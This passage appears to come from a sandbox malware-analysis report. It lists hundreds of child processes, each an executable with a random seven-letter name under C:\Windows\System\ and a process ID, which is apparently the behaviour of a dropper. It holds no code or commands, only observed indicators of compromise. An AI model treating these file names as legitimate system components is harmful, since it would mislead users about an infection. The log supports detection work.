- C:\Windows\System\kkAyYlx.exe
  C:\Windows\System\kkAyYlx.exe
  2⤵
  PID:12800
- C:\Windows\System\aecsAcc.exe
  C:\Windows\System\aecsAcc.exe
  2⤵
  PID:12824
- C:\Windows\System\OsxXiYv.exe
  C:\Windows\System\OsxXiYv.exe
  2⤵
  PID:12844
- C:\Windows\System\VAAKZtK.exe
  C:\Windows\System\VAAKZtK.exe
  2⤵
  PID:12864
- C:\Windows\System\MbPaJYG.exe
  C:\Windows\System\MbPaJYG.exe
  2⤵
  PID:12888
- C:\Windows\System\NhLLxdz.exe
  C:\Windows\System\NhLLxdz.exe
  2⤵
  PID:12912
- C:\Windows\System\svofixF.exe
  C:\Windows\System\svofixF.exe
  2⤵
  PID:12940
- C:\Windows\System\ndzZOpC.exe
  C:\Windows\System\ndzZOpC.exe
  2⤵
  PID:12960
- C:\Windows\System\viKwEnW.exe
  C:\Windows\System\viKwEnW.exe
  2⤵
  PID:12984
- C:\Windows\System\VWSJeAm.exe
  C:\Windows\System\VWSJeAm.exe
  2⤵
  PID:13004
- C:\Windows\System\hrblgox.exe
  C:\Windows\System\hrblgox.exe
  2⤵
  PID:13024
- C:\Windows\System\zbAjrOT.exe
  C:\Windows\System\zbAjrOT.exe
  2⤵
  PID:13052
- C:\Windows\System\GuNdXPY.exe
  C:\Windows\System\GuNdXPY.exe
  2⤵
  PID:13068
- C:\Windows\System\hfIOrSb.exe
  C:\Windows\System\hfIOrSb.exe
  2⤵
  PID:13088
- C:\Windows\System\bdoVYAr.exe
  C:\Windows\System\bdoVYAr.exe
  2⤵
  PID:13116
- C:\Windows\System\UcXmAYG.exe
  C:\Windows\System\UcXmAYG.exe
  2⤵
  PID:13136
- C:\Windows\System\ampAeqK.exe
  C:\Windows\System\ampAeqK.exe
  2⤵
  PID:13156
- C:\Windows\System\yDZkHgp.exe
  C:\Windows\System\yDZkHgp.exe
  2⤵
  PID:13264
- C:\Windows\System\dbuImtP.exe
  C:\Windows\System\dbuImtP.exe
  2⤵
  PID:9036
- C:\Windows\System\xemCBrc.exe
  C:\Windows\System\xemCBrc.exe
  2⤵
  PID:10400
- C:\Windows\System\gtgkMlw.exe
  C:\Windows\System\gtgkMlw.exe
  2⤵
  PID:10600
- C:\Windows\System\RJTKaPG.exe
  C:\Windows\System\RJTKaPG.exe
  2⤵
  PID:11440
- C:\Windows\System\aiPviqs.exe
  C:\Windows\System\aiPviqs.exe
  2⤵
  PID:11388
- C:\Windows\System\WVRNmiI.exe
  C:\Windows\System\WVRNmiI.exe
  2⤵
  PID:11504
- C:\Windows\System\fGzPitP.exe
  C:\Windows\System\fGzPitP.exe
  2⤵
  PID:12460
- C:\Windows\System\DaLTXxP.exe
  C:\Windows\System\DaLTXxP.exe
  2⤵
  PID:11544
- C:\Windows\System\GNzBfxW.exe
  C:\Windows\System\GNzBfxW.exe
  2⤵
  PID:1932
- C:\Windows\System\yMTSnph.exe
  C:\Windows\System\yMTSnph.exe
  2⤵
  PID:11632
- C:\Windows\System\IRzBIvx.exe
  C:\Windows\System\IRzBIvx.exe
  2⤵
  PID:11892
- C:\Windows\System\LOPdGIQ.exe
  C:\Windows\System\LOPdGIQ.exe
  2⤵
  PID:12024
- C:\Windows\System\zQwshIQ.exe
  C:\Windows\System\zQwshIQ.exe
  2⤵
  PID:7856
- C:\Windows\System\HNLnPQm.exe
  C:\Windows\System\HNLnPQm.exe
  2⤵
  PID:3480
- C:\Windows\System\NkROyzq.exe
  C:\Windows\System\NkROyzq.exe
  2⤵
  PID:12332
- C:\Windows\System\RwlbMgn.exe
  C:\Windows\System\RwlbMgn.exe
  2⤵
  PID:12428
- C:\Windows\System\RZxFmdf.exe
  C:\Windows\System\RZxFmdf.exe
  2⤵
  PID:12496
- C:\Windows\System\fIaYnhE.exe
  C:\Windows\System\fIaYnhE.exe
  2⤵
  PID:12548
- C:\Windows\System\RJnrBVW.exe
  C:\Windows\System\RJnrBVW.exe
  2⤵
  PID:13236
- C:\Windows\System\AdEgzfN.exe
  C:\Windows\System\AdEgzfN.exe
  2⤵
  PID:11740
- C:\Windows\System\MJxpYff.exe
  C:\Windows\System\MJxpYff.exe
  2⤵
  PID:1672
- C:\Windows\System\RjWTyto.exe
  C:\Windows\System\RjWTyto.exe
  2⤵
  PID:10344
- C:\Windows\System\sthXjDx.exe
  C:\Windows\System\sthXjDx.exe
  2⤵
  PID:12200
- C:\Windows\System\MtKEQuD.exe
  C:\Windows\System\MtKEQuD.exe
  2⤵
  PID:11884
- C:\Windows\System\yOkpOqo.exe
  C:\Windows\System\yOkpOqo.exe
  2⤵
  PID:9660
- C:\Windows\System\jNjzJuc.exe
  C:\Windows\System\jNjzJuc.exe
  2⤵
  PID:11316
- C:\Windows\System\hXrJRmV.exe
  C:\Windows\System\hXrJRmV.exe
  2⤵
  PID:11480
- C:\Windows\System\KhuhYHb.exe
  C:\Windows\System\KhuhYHb.exe
  2⤵
  PID:12260
- C:\Windows\System\jfXSHLN.exe
  C:\Windows\System\jfXSHLN.exe
  2⤵
  PID:3792
- C:\Windows\System\vJjhSMg.exe
  C:\Windows\System\vJjhSMg.exe
  2⤵
  PID:12652
- C:\Windows\System\KeIebpR.exe
  C:\Windows\System\KeIebpR.exe
  2⤵
  PID:12816
- C:\Windows\System\MyBUkNq.exe
  C:\Windows\System\MyBUkNq.exe
  2⤵
  PID:12896
- C:\Windows\System\ALLzXxK.exe
  C:\Windows\System\ALLzXxK.exe
  2⤵
  PID:12976
- C:\Windows\System\jigWDWD.exe
  C:\Windows\System\jigWDWD.exe
  2⤵
  PID:10864
- C:\Windows\System\caeURRF.exe
  C:\Windows\System\caeURRF.exe
  2⤵
  PID:6308
- C:\Windows\System\LPPisQl.exe
  C:\Windows\System\LPPisQl.exe
  2⤵
  PID:2196
- C:\Windows\System\zigVeJp.exe
  C:\Windows\System\zigVeJp.exe
  2⤵
  PID:9404
- C:\Windows\System\yxFJFVx.exe
  C:\Windows\System\yxFJFVx.exe
  2⤵
  PID:13148
- C:\Windows\System\XzCPGVO.exe
  C:\Windows\System\XzCPGVO.exe
  2⤵
  PID:13080
- C:\Windows\System\hQuzOzj.exe
  C:\Windows\System\hQuzOzj.exe
  2⤵
  PID:12952
- C:\Windows\System\dpvGjqx.exe
  C:\Windows\System\dpvGjqx.exe
  2⤵
  PID:12908
- C:\Windows\System\DDgUlkV.exe
  C:\Windows\System\DDgUlkV.exe
  2⤵
  PID:12860
- C:\Windows\System\scLfRRQ.exe
  C:\Windows\System\scLfRRQ.exe
  2⤵
  PID:11836
- C:\Windows\System\jBorfva.exe
  C:\Windows\System\jBorfva.exe
  2⤵
  PID:12612
- C:\Windows\System\EorYLUQ.exe
  C:\Windows\System\EorYLUQ.exe
  2⤵
  PID:10260
- C:\Windows\System\SCCxCrN.exe
  C:\Windows\System\SCCxCrN.exe
  2⤵
  PID:12368
- C:\Windows\System\yNYPkJw.exe
  C:\Windows\System\yNYPkJw.exe
  2⤵
  PID:12220
- C:\Windows\System\ghpOMTX.exe
  C:\Windows\System\ghpOMTX.exe
  2⤵
  PID:11360
- C:\Windows\System\pmseBEo.exe
  C:\Windows\System\pmseBEo.exe
  2⤵
  PID:11928
- C:\Windows\System\qbsjYqk.exe
  C:\Windows\System\qbsjYqk.exe
  2⤵
  PID:12688
- C:\Windows\System\brIRZlS.exe
  C:\Windows\System\brIRZlS.exe
  2⤵
  PID:8144
- C:\Windows\System\pQCwGdj.exe
  C:\Windows\System\pQCwGdj.exe
  2⤵
  PID:4092
- C:\Windows\System\cWngjxJ.exe
  C:\Windows\System\cWngjxJ.exe
  2⤵
  PID:13084
- C:\Windows\System\NaRhDJo.exe
  C:\Windows\System\NaRhDJo.exe
  2⤵
  PID:12948
- C:\Windows\System\zzJofNI.exe
  C:\Windows\System\zzJofNI.exe
  2⤵
  PID:12808
- C:\Windows\System\fhJmqdf.exe
  C:\Windows\System\fhJmqdf.exe
  2⤵
  PID:9656
- C:\Windows\System\lfFUulh.exe
  C:\Windows\System\lfFUulh.exe
  2⤵
  PID:12576
- C:\Windows\System\vScHhwf.exe
  C:\Windows\System\vScHhwf.exe
  2⤵
  PID:4336
- C:\Windows\System\itTvbQm.exe
  C:\Windows\System\itTvbQm.exe
  2⤵
  PID:11940
- C:\Windows\System\ryOkysq.exe
  C:\Windows\System\ryOkysq.exe
  2⤵
  PID:12772
- C:\Windows\System\OadTGhw.exe
  C:\Windows\System\OadTGhw.exe
  2⤵
  PID:10032
- C:\Windows\System\yPQcygy.exe
  C:\Windows\System\yPQcygy.exe
  2⤵
  PID:7740
- C:\Windows\System\APsHBkJ.exe
  C:\Windows\System\APsHBkJ.exe
  2⤵
  PID:2756
- C:\Windows\System\bYZunee.exe
  C:\Windows\System\bYZunee.exe
  2⤵
  PID:12296
- C:\Windows\System\aBnfXUC.exe
  C:\Windows\System\aBnfXUC.exe
  2⤵
  PID:12744
- C:\Windows\System\wZPFpKV.exe
  C:\Windows\System\wZPFpKV.exe
  2⤵
  PID:4384
- C:\Windows\System\vLmhpWs.exe
  C:\Windows\System\vLmhpWs.exe
  2⤵
  PID:12172
- C:\Windows\System\lpxpjzF.exe
  C:\Windows\System\lpxpjzF.exe
  2⤵
  PID:11980
- C:\Windows\System\THFxMZv.exe
  C:\Windows\System\THFxMZv.exe
  2⤵
  PID:13260
- C:\Windows\System\kGktkUm.exe
  C:\Windows\System\kGktkUm.exe
  2⤵
  PID:1256
- C:\Windows\System\ijmntQr.exe
  C:\Windows\System\ijmntQr.exe
  2⤵
  PID:3332
- C:\Windows\System\wKcWjlr.exe
  C:\Windows\System\wKcWjlr.exe
  2⤵
  PID:12148
- C:\Windows\System\hbdooRk.exe
  C:\Windows\System\hbdooRk.exe
  2⤵
  PID:9196
- C:\Windows\System\gDrPuiL.exe
  C:\Windows\System\gDrPuiL.exe
  2⤵
  PID:2604
- C:\Windows\System\Vigpdfv.exe
  C:\Windows\System\Vigpdfv.exe
  2⤵
  PID:5104
- C:\Windows\System\sywlxGn.exe
  C:\Windows\System\sywlxGn.exe
  2⤵
  PID:9048
- C:\Windows\System\iYWJBga.exe
  C:\Windows\System\iYWJBga.exe
  2⤵
  PID:11616
- C:\Windows\System\fdGsEJK.exe
  C:\Windows\System\fdGsEJK.exe
  2⤵
  PID:13108
- C:\Windows\System\vjPqTHg.exe
  C:\Windows\System\vjPqTHg.exe
  2⤵
  PID:11496
- C:\Windows\System\hjNzQze.exe
  C:\Windows\System\hjNzQze.exe
  2⤵
  PID:3820
- C:\Windows\System\yOZyDtN.exe
  C:\Windows\System\yOZyDtN.exe
  2⤵
  PID:4416
- C:\Windows\System\FclPQfV.exe
  C:\Windows\System\FclPQfV.exe
  2⤵
  PID:12176
- C:\Windows\System\ScCruxp.exe
  C:\Windows\System\ScCruxp.exe
  2⤵
  PID:12936
- C:\Windows\System\TGcwjcU.exe
  C:\Windows\System\TGcwjcU.exe
  2⤵
  PID:12528
- C:\Windows\System\HbOKvQM.exe
  C:\Windows\System\HbOKvQM.exe
  2⤵
  PID:3132
- C:\Windows\System\jAiuCzr.exe
  C:\Windows\System\jAiuCzr.exe
  2⤵
  PID:11960
- C:\Windows\System\EkZGtRX.exe
  C:\Windows\System\EkZGtRX.exe
  2⤵
  PID:1816
- C:\Windows\System\MfeAWbb.exe
  C:\Windows\System\MfeAWbb.exe
  2⤵
  PID:4380
- C:\Windows\System\YDiesbO.exe
  C:\Windows\System\YDiesbO.exe
  2⤵
  PID:13352
- C:\Windows\System\OXdZVCA.exe
  C:\Windows\System\OXdZVCA.exe
  2⤵
  PID:13372
- C:\Windows\System\vSLSXIC.exe
  C:\Windows\System\vSLSXIC.exe
  2⤵
  PID:13396
- C:\Windows\System\IHfgLzM.exe
  C:\Windows\System\IHfgLzM.exe
  2⤵
  PID:13648
- C:\Windows\System\RlcfiOz.exe
  C:\Windows\System\RlcfiOz.exe
  2⤵
  PID:13664
- C:\Windows\System\wIXWBRB.exe
  C:\Windows\System\wIXWBRB.exe
  2⤵
  PID:13680
- C:\Windows\System\NiiSyZc.exe
  C:\Windows\System\NiiSyZc.exe
  2⤵
  PID:13724
- C:\Windows\System\TLsdGCa.exe
  C:\Windows\System\TLsdGCa.exe
  2⤵
  PID:13744
- C:\Windows\System\mkiphNa.exe
  C:\Windows\System\mkiphNa.exe
  2⤵
  PID:13772
- C:\Windows\System\sfwayvD.exe
  C:\Windows\System\sfwayvD.exe
  2⤵
  PID:13796
- C:\Windows\System\gpckgKi.exe
  C:\Windows\System\gpckgKi.exe
  2⤵
  PID:13828
- C:\Windows\System\vdeEiLo.exe
  C:\Windows\System\vdeEiLo.exe
  2⤵
  PID:13848
- C:\Windows\System\lzJUKNJ.exe
  C:\Windows\System\lzJUKNJ.exe
  2⤵
  PID:13868
- C:\Windows\System\DkngJPQ.exe
  C:\Windows\System\DkngJPQ.exe
  2⤵
  PID:13888
- C:\Windows\System\pneDPLD.exe
  C:\Windows\System\pneDPLD.exe
  2⤵
  PID:13912
- C:\Windows\System\RyKMDKt.exe
  C:\Windows\System\RyKMDKt.exe
  2⤵
  PID:13928
- C:\Windows\System\LkDaeWQ.exe
  C:\Windows\System\LkDaeWQ.exe
  2⤵
  PID:13948
- C:\Windows\System\mbLvooF.exe
  C:\Windows\System\mbLvooF.exe
  2⤵
  PID:13972
- C:\Windows\System\rIFNWSz.exe
  C:\Windows\System\rIFNWSz.exe
  2⤵
  PID:13996
- C:\Windows\System\tljxHfO.exe
  C:\Windows\System\tljxHfO.exe
  2⤵
  PID:14024
- C:\Windows\System\ywCuSCB.exe
  C:\Windows\System\ywCuSCB.exe
  2⤵
  PID:14048
- C:\Windows\System\PsiTwvW.exe
  C:\Windows\System\PsiTwvW.exe
  2⤵
  PID:14072
- C:\Windows\System\rYDWoHs.exe
  C:\Windows\System\rYDWoHs.exe
  2⤵
  PID:14092
- C:\Windows\System\cogTKIL.exe
  C:\Windows\System\cogTKIL.exe
  2⤵
  PID:14112
- C:\Windows\System\cQKWDNq.exe
  C:\Windows\System\cQKWDNq.exe
  2⤵
  PID:14136
- C:\Windows\System\ezJbMwC.exe
  C:\Windows\System\ezJbMwC.exe
  2⤵
  PID:14156
- C:\Windows\System\AVBXuIV.exe
  C:\Windows\System\AVBXuIV.exe
  2⤵
  PID:14188
- C:\Windows\System\ielgojQ.exe
  C:\Windows\System\ielgojQ.exe
  2⤵
  PID:14204
- C:\Windows\System\jgqEBEn.exe
  C:\Windows\System\jgqEBEn.exe
  2⤵
  PID:14236
- C:\Windows\System\JKNlngk.exe
  C:\Windows\System\JKNlngk.exe
  2⤵
  PID:14256
- C:\Windows\System\ksXgSPB.exe
  C:\Windows\System\ksXgSPB.exe
  2⤵
  PID:14284
- C:\Windows\System\WjRObbD.exe
  C:\Windows\System\WjRObbD.exe
  2⤵
  PID:14304
- C:\Windows\System\DLCSWXd.exe
  C:\Windows\System\DLCSWXd.exe
  2⤵
  PID:12448
- C:\Windows\System\zPlrYeQ.exe
  C:\Windows\System\zPlrYeQ.exe
  2⤵
  PID:12684
- C:\Windows\System\dmZnJkV.exe
  C:\Windows\System\dmZnJkV.exe
  2⤵
  PID:5268
- C:\Windows\System\mbjLvvM.exe
  C:\Windows\System\mbjLvvM.exe
  2⤵
  PID:13368
- C:\Windows\System\YZjabvf.exe
  C:\Windows\System\YZjabvf.exe
  2⤵
  PID:13392
- C:\Windows\System\wkeavxG.exe
  C:\Windows\System\wkeavxG.exe
  2⤵
  PID:13424
- C:\Windows\System\EgaNWUf.exe
  C:\Windows\System\EgaNWUf.exe
  2⤵
  PID:13448
- C:\Windows\System\GSHVTnL.exe
  C:\Windows\System\GSHVTnL.exe
  2⤵
  PID:13480
- C:\Windows\System\xzZbgzF.exe
  C:\Windows\System\xzZbgzF.exe
  2⤵
  PID:13624
- C:\Windows\System\bdbhkzN.exe
  C:\Windows\System\bdbhkzN.exe
  2⤵
  PID:13640
- C:\Windows\System\OyhlYUg.exe
  C:\Windows\System\OyhlYUg.exe
  2⤵
  PID:14152
- C:\Windows\System\LqdtLEc.exe
  C:\Windows\System\LqdtLEc.exe
  2⤵
  PID:14148
- C:\Windows\System\DCzUQzz.exe
  C:\Windows\System\DCzUQzz.exe
  2⤵
  PID:14332
- C:\Windows\System\YBMVXuM.exe
  C:\Windows\System\YBMVXuM.exe
  2⤵
  PID:3536
- C:\Windows\System\XWJMFmo.exe
  C:\Windows\System\XWJMFmo.exe
  2⤵
  PID:724
- C:\Windows\System\ivqkWLb.exe
  C:\Windows\System\ivqkWLb.exe
  2⤵
  PID:13944
- C:\Windows\System\IHGwfgj.exe
  C:\Windows\System\IHGwfgj.exe
  2⤵
  PID:13956
- C:\Windows\System\hOOgjxC.exe
  C:\Windows\System\hOOgjxC.exe
  2⤵
  PID:1684
- C:\Windows\System\wPIgVov.exe
  C:\Windows\System\wPIgVov.exe
  2⤵
  PID:2328
- C:\Windows\System\tsANPIE.exe
  C:\Windows\System\tsANPIE.exe
  2⤵
  PID:7548
- C:\Windows\System\VdDXaIm.exe
  C:\Windows\System\VdDXaIm.exe
  2⤵
  PID:14296
- C:\Windows\System\krneQDx.exe
  C:\Windows\System\krneQDx.exe
  2⤵
  PID:14268
- C:\Windows\System\CqyPVCh.exe
  C:\Windows\System\CqyPVCh.exe
  2⤵
  PID:4828
- C:\Windows\System\yoqjtFr.exe
  C:\Windows\System\yoqjtFr.exe
  2⤵
  PID:3496
- C:\Windows\System\liPwQCp.exe
  C:\Windows\System\liPwQCp.exe
  2⤵
  PID:4240
- C:\Windows\System\NhcscTs.exe
  C:\Windows\System\NhcscTs.exe
  2⤵
  PID:13296
- C:\Windows\System\eazfbLy.exe
  C:\Windows\System\eazfbLy.exe
  2⤵
  PID:932
- C:\Windows\System\fYgHMlL.exe
  C:\Windows\System\fYgHMlL.exe
  2⤵
  PID:13420
- C:\Windows\System\DYnAebL.exe
  C:\Windows\System\DYnAebL.exe
  2⤵
  PID:13496
- C:\Windows\System\GQICTsz.exe
  C:\Windows\System\GQICTsz.exe
  2⤵
  PID:13584
- C:\Windows\System\QodSBIQ.exe
  C:\Windows\System\QodSBIQ.exe
  2⤵
  PID:13660
- C:\Windows\System\OIXhGro.exe
  C:\Windows\System\OIXhGro.exe
  2⤵
  PID:6200
- C:\Windows\System\ZHGALQx.exe
  C:\Windows\System\ZHGALQx.exe
  2⤵
  PID:10024
- C:\Windows\System\duRxEvu.exe
  C:\Windows\System\duRxEvu.exe
  2⤵
  PID:13808
- C:\Windows\System\yuKyopK.exe
  C:\Windows\System\yuKyopK.exe
  2⤵
  PID:4500
- C:\Windows\System\mjLAmgx.exe
  C:\Windows\System\mjLAmgx.exe
  2⤵
  PID:12316
- C:\Windows\System\NdsDoVi.exe
  C:\Windows\System\NdsDoVi.exe
  2⤵
  PID:5284
- C:\Windows\System\zqHdvKk.exe
  C:\Windows\System\zqHdvKk.exe
  2⤵
  PID:876
- C:\Windows\System\toCtQzN.exe
  C:\Windows\System\toCtQzN.exe
  2⤵
  PID:13920
- C:\Windows\System\QKikFiG.exe
  C:\Windows\System\QKikFiG.exe
  2⤵
  PID:13964
- C:\Windows\System\gTCBuUq.exe
  C:\Windows\System\gTCBuUq.exe
  2⤵
  PID:776
- C:\Windows\System\DmDYrOz.exe
  C:\Windows\System\DmDYrOz.exe
  2⤵
  PID:14196
- C:\Windows\System\EXPwLXo.exe
  C:\Windows\System\EXPwLXo.exe
  2⤵
  PID:3676
- C:\Windows\System\OnVPSkR.exe
  C:\Windows\System\OnVPSkR.exe
  2⤵
  PID:1484
- C:\Windows\System\WbKdZFI.exe
  C:\Windows\System\WbKdZFI.exe
  2⤵
  PID:4012
- C:\Windows\System\KhZTpNJ.exe
  C:\Windows\System\KhZTpNJ.exe
  2⤵
  PID:3064
- C:\Windows\System\jqHJFTJ.exe
  C:\Windows\System\jqHJFTJ.exe
  2⤵
  PID:5060
- C:\Windows\System\RZxifPo.exe
  C:\Windows\System\RZxifPo.exe
  2⤵
  PID:13380
- C:\Windows\System\giQnnBI.exe
  C:\Windows\System\giQnnBI.exe
  2⤵
  PID:4120
- C:\Windows\System\EZVhTKo.exe
  C:\Windows\System\EZVhTKo.exe
  2⤵
  PID:2036
- C:\Windows\System\wQlbeWE.exe
  C:\Windows\System\wQlbeWE.exe
  2⤵
  PID:3100
- C:\Windows\System\CzQrTCS.exe
  C:\Windows\System\CzQrTCS.exe
  2⤵
  PID:13840
- C:\Windows\System\eYzMkzf.exe
  C:\Windows\System\eYzMkzf.exe
  2⤵
  PID:13884
- C:\Windows\System\qJQhyfO.exe
  C:\Windows\System\qJQhyfO.exe
  2⤵
  PID:1904
- C:\Windows\System\CIPZqou.exe
  C:\Windows\System\CIPZqou.exe
  2⤵
  PID:4560
- C:\Windows\System\YchwLcL.exe
  C:\Windows\System\YchwLcL.exe
  2⤵
  PID:2308
- C:\Windows\System\VLFjljr.exe
  C:\Windows\System\VLFjljr.exe
  2⤵
  PID:2724
- C:\Windows\System\LnCqfPp.exe
  C:\Windows\System\LnCqfPp.exe
  2⤵
  PID:3468
- C:\Windows\System\DnigxhW.exe
  C:\Windows\System\DnigxhW.exe
  2⤵
  PID:2740
- C:\Windows\System\lDuuvLC.exe
  C:\Windows\System\lDuuvLC.exe
  2⤵
  PID:2336
- C:\Windows\System\DJzUMeS.exe
  C:\Windows\System\DJzUMeS.exe
  2⤵
  PID:2828
- C:\Windows\System\dFONwhk.exe
  C:\Windows\System\dFONwhk.exe
  2⤵
  PID:14180
- C:\Windows\System\RvvJDGf.exe
  C:\Windows\System\RvvJDGf.exe
  2⤵
  PID:4784
- C:\Windows\System\UHNQTIR.exe
  C:\Windows\System\UHNQTIR.exe
  2⤵
  PID:3612
- C:\Windows\System\rPHJPxW.exe
  C:\Windows\System\rPHJPxW.exe
  2⤵
  PID:13528
- C:\Windows\System\lgPwxfX.exe
  C:\Windows\System\lgPwxfX.exe
  2⤵
  PID:2084
- C:\Windows\System\xGjuiDL.exe
  C:\Windows\System\xGjuiDL.exe
  2⤵
  PID:5464
- C:\Windows\System\hSlURtm.exe
  C:\Windows\System\hSlURtm.exe
  2⤵
  PID:868
- C:\Windows\System\QiBgcZu.exe
  C:\Windows\System\QiBgcZu.exe
  2⤵
  PID:5484
- C:\Windows\System\yiDGGYP.exe
  C:\Windows\System\yiDGGYP.exe
  2⤵
  PID:6972
- C:\Windows\System\FFKmRfJ.exe
  C:\Windows\System\FFKmRfJ.exe
  2⤵
  PID:3976
- C:\Windows\System\FJewGNR.exe
  C:\Windows\System\FJewGNR.exe
  2⤵
  PID:1300
- C:\Windows\System\sfEaOLT.exe
  C:\Windows\System\sfEaOLT.exe
  2⤵
  PID:5260
- C:\Windows\System\ateHbir.exe
  C:\Windows\System\ateHbir.exe
  2⤵
  PID:5412
- C:\Windows\System\IvrbJfv.exe
  C:\Windows\System\IvrbJfv.exe
  2⤵
  PID:13716
- C:\Windows\System\sTpJpCm.exe
  C:\Windows\System\sTpJpCm.exe
  2⤵
  PID:5588
- C:\Windows\System\AIbyVfC.exe
  C:\Windows\System\AIbyVfC.exe
  2⤵
  PID:4976
- C:\Windows\System\vvOyDuv.exe
  C:\Windows\System\vvOyDuv.exe
  2⤵
  PID:5860
- C:\Windows\System\uQEFOYC.exe
  C:\Windows\System\uQEFOYC.exe
  2⤵
  PID:7764
- C:\Windows\System\xFiMpDa.exe
  C:\Windows\System\xFiMpDa.exe
  2⤵
  PID:4524
- C:\Windows\System\GYDZsAh.exe
  C:\Windows\System\GYDZsAh.exe
  2⤵
  PID:4752
- C:\Windows\System\HsddPev.exe
  C:\Windows\System\HsddPev.exe
  2⤵
  PID:3840
- C:\Windows\System\jQXfcAB.exe
  C:\Windows\System\jQXfcAB.exe
  2⤵
  PID:6636
- C:\Windows\System\NyVVudx.exe
  C:\Windows\System\NyVVudx.exe
  2⤵
  PID:13924
- C:\Windows\System\uTIEqje.exe
  C:\Windows\System\uTIEqje.exe
  2⤵
  PID:4848
- C:\Windows\System\WTvLWeu.exe
  C:\Windows\System\WTvLWeu.exe
  2⤵
  PID:1764
- C:\Windows\System\HBAvpHZ.exe
  C:\Windows\System\HBAvpHZ.exe
  2⤵
  PID:6356
- C:\Windows\System\sxGssrS.exe
  C:\Windows\System\sxGssrS.exe
  2⤵
  PID:5188
- C:\Windows\System\XYjFnjX.exe
  C:\Windows\System\XYjFnjX.exe
  2⤵
  PID:6916
- C:\Windows\System\WSpHvKn.exe
  C:\Windows\System\WSpHvKn.exe
  2⤵
  PID:13456
- C:\Windows\System\rOEJqIZ.exe
  C:\Windows\System\rOEJqIZ.exe
  2⤵
  PID:5236
- C:\Windows\System\oDqICHt.exe
  C:\Windows\System\oDqICHt.exe
  2⤵
  PID:2260
- C:\Windows\System\ezMdBLO.exe
  C:\Windows\System\ezMdBLO.exe
  2⤵
  PID:6920
- C:\Windows\System\KWFHTIT.exe
  C:\Windows\System\KWFHTIT.exe
  2⤵
  PID:2096
- C:\Windows\System\kNLjkPa.exe
  C:\Windows\System\kNLjkPa.exe
  2⤵
  PID:13604
- C:\Windows\System\FwRijYa.exe
  C:\Windows\System\FwRijYa.exe
  2⤵
  PID:3624
- C:\Windows\System\JuAgtsG.exe
  C:\Windows\System\JuAgtsG.exe
  2⤵
  PID:5240
- C:\Windows\System\aLwWjhZ.exe
  C:\Windows\System\aLwWjhZ.exe
  2⤵
  PID:6812
- C:\Windows\System\dMQnpWI.exe
  C:\Windows\System\dMQnpWI.exe
  2⤵
  PID:13556
- C:\Windows\System\geQgltE.exe
  C:\Windows\System\geQgltE.exe
  2⤵
  PID:4624
- C:\Windows\System\MZCwWBc.exe
  C:\Windows\System\MZCwWBc.exe
  2⤵
  PID:7408
- C:\Windows\System\DdfYufC.exe
  C:\Windows\System\DdfYufC.exe
  2⤵
  PID:13940
- C:\Windows\System\wWBODGb.exe
  C:\Windows\System\wWBODGb.exe
  2⤵
  PID:1792
- C:\Windows\System\KcOxohQ.exe
  C:\Windows\System\KcOxohQ.exe
  2⤵
  PID:7508
- C:\Windows\System\LcJLFGz.exe
  C:\Windows\System\LcJLFGz.exe
  2⤵
  PID:6180
- C:\Windows\System\TAQheIS.exe
  C:\Windows\System\TAQheIS.exe
  2⤵
  PID:3732
- C:\Windows\System\iSvgkJb.exe
  C:\Windows\System\iSvgkJb.exe
  2⤵
  PID:7912
- C:\Windows\System\vKnkCJU.exe
  C:\Windows\System\vKnkCJU.exe
  2⤵
  PID:5044
- C:\Windows\System\uwvWBFH.exe
  C:\Windows\System\uwvWBFH.exe
  2⤵
  PID:6388
- C:\Windows\System\wSxAmvd.exe
  C:\Windows\System\wSxAmvd.exe
  2⤵
  PID:6280
- C:\Windows\System\rQRdBpv.exe
  C:\Windows\System\rQRdBpv.exe
  2⤵
  PID:6416
- C:\Windows\System\mQzBxyK.exe
  C:\Windows\System\mQzBxyK.exe
  2⤵
  PID:6456
- C:\Windows\System\bHsqAmp.exe
  C:\Windows\System\bHsqAmp.exe
  2⤵
  PID:6900
- C:\Windows\System\MpvzJGu.exe
  C:\Windows\System\MpvzJGu.exe
  2⤵
  PID:7452
- C:\Windows\System\IpjepqL.exe
  C:\Windows\System\IpjepqL.exe
  2⤵
  PID:4460
- C:\Windows\System\ykyYlPK.exe
  C:\Windows\System\ykyYlPK.exe
  2⤵
  PID:7404
- C:\Windows\System\xlowfSV.exe
  C:\Windows\System\xlowfSV.exe
  2⤵
  PID:6560
- C:\Windows\System\tKHMldf.exe
  C:\Windows\System\tKHMldf.exe
  2⤵
  PID:5388
- C:\Windows\System\eQjJTeR.exe
  C:\Windows\System\eQjJTeR.exe
  2⤵
  PID:8168
- C:\Windows\System\bmJLINe.exe
  C:\Windows\System\bmJLINe.exe
  2⤵
  PID:6860
- C:\Windows\System\GVWxnkT.exe
  C:\Windows\System\GVWxnkT.exe
  2⤵
  PID:6252
- C:\Windows\System\KzVrNJu.exe
  C:\Windows\System\KzVrNJu.exe
  2⤵
  PID:5380
- C:\Windows\System\TfQDwLr.exe
  C:\Windows\System\TfQDwLr.exe
  2⤵
  PID:12236
- C:\Windows\System\CuygSVk.exe
  C:\Windows\System\CuygSVk.exe
  2⤵
  PID:5512
- C:\Windows\System\OcaDYMz.exe
  C:\Windows\System\OcaDYMz.exe
  2⤵
  PID:2480
- C:\Windows\System\BGEiAZT.exe
  C:\Windows\System\BGEiAZT.exe
  2⤵
  PID:6600
- C:\Windows\System\yTilVVr.exe
  C:\Windows\System\yTilVVr.exe
  2⤵
  PID:940
- C:\Windows\System\mjctvlG.exe
  C:\Windows\System\mjctvlG.exe
  2⤵
  PID:7540
- C:\Windows\System\UIkjbEj.exe
  C:\Windows\System\UIkjbEj.exe
  2⤵
  PID:3780
- C:\Windows\System\ONhqVeG.exe
  C:\Windows\System\ONhqVeG.exe
  2⤵
  PID:7876
- C:\Windows\System\QJohBHV.exe
  C:\Windows\System\QJohBHV.exe
  2⤵
  PID:8252
- C:\Windows\System\onaAPJz.exe
  C:\Windows\System\onaAPJz.exe
  2⤵
  PID:4512
- C:\Windows\System\NxEcShC.exe
  C:\Windows\System\NxEcShC.exe
  2⤵
  PID:9424
- C:\Windows\System\HvXvTfa.exe
  C:\Windows\System\HvXvTfa.exe
  2⤵
  PID:7980
- C:\Windows\System\AQUgZjC.exe
  C:\Windows\System\AQUgZjC.exe
  2⤵
  PID:6500
- C:\Windows\System\EpVLTqT.exe
  C:\Windows\System\EpVLTqT.exe
  2⤵
  PID:8416
- C:\Windows\System\xnRUdBS.exe
  C:\Windows\System\xnRUdBS.exe
  2⤵
  PID:5160
- C:\Windows\System\gBDXdsP.exe
  C:\Windows\System\gBDXdsP.exe
  2⤵
  PID:8660
